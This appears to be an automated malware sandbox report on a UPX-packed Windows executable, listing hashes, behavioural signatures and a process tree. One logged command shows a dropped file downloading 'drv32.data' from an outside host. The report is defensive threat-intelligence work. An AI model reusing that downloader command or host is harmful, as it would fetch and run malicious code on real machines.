Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2024, 04:29

General

  • Target

    b3c826c8e7de52b473258d54d67b528e.exe

  • Size

    83KB

  • MD5

    b3c826c8e7de52b473258d54d67b528e

  • SHA1

    dac2de8157e88c90257a255e8840fa661897e1a7

  • SHA256

    5ec3a4f34c759cc44406d8402bcb640667c80da262e6811ff95402e2b48a0458

  • SHA512

    0a99c1b7711877cad92fa538db9a09f5eb36ea5c28885eb6a841d21cc32e7681f4da1b6b91e0c201dc82479b0c8d99ed3516fc978a8ecf2d687ecc5c3bc3c4a3

  • SSDEEP

    1536:0VmNBnskjNwF4mchK5RF12Ma0gRke7jbXOwzWSP1HdPI88i2nJy+wZm:rN9NdmxP8RkCHBvPpmi2ncbs

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe
    "C:\Users\Admin\AppData\Local\Temp\b3c826c8e7de52b473258d54d67b528e.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe
      "C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp.eXe" http://downgosoft.com/drv32.data "C:\Users\Admin\AppData\Local\Temp\A3A2B-tmpa"
      2⤵
      • Executes dropped EXE
      PID:2200

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\A3A2B-tmp

          Filesize

          36KB

          MD5

          a6ef8e1067dae3cf7537712443bf3b77

          SHA1

          204b8a6402b415533540d0c2659c5722a21da8be

          SHA256

          2917964e199063cb0cd0bced5d1f7846edcb810fe02fff8f0b1dd053746cf229

          SHA512

          9662f18208b8a6c27a29e496b75d24ef9a910c20cd458fe8ea58458986253d3ff0a82e349cbfa804b52b3dd0913d995e737f740f48f1a16b8d2ff908ee9cc14a

        • memory/2200-11-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/2200-14-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/3044-13-0x0000000000400000-0x0000000000436000-memory.dmp

          Filesize

          216KB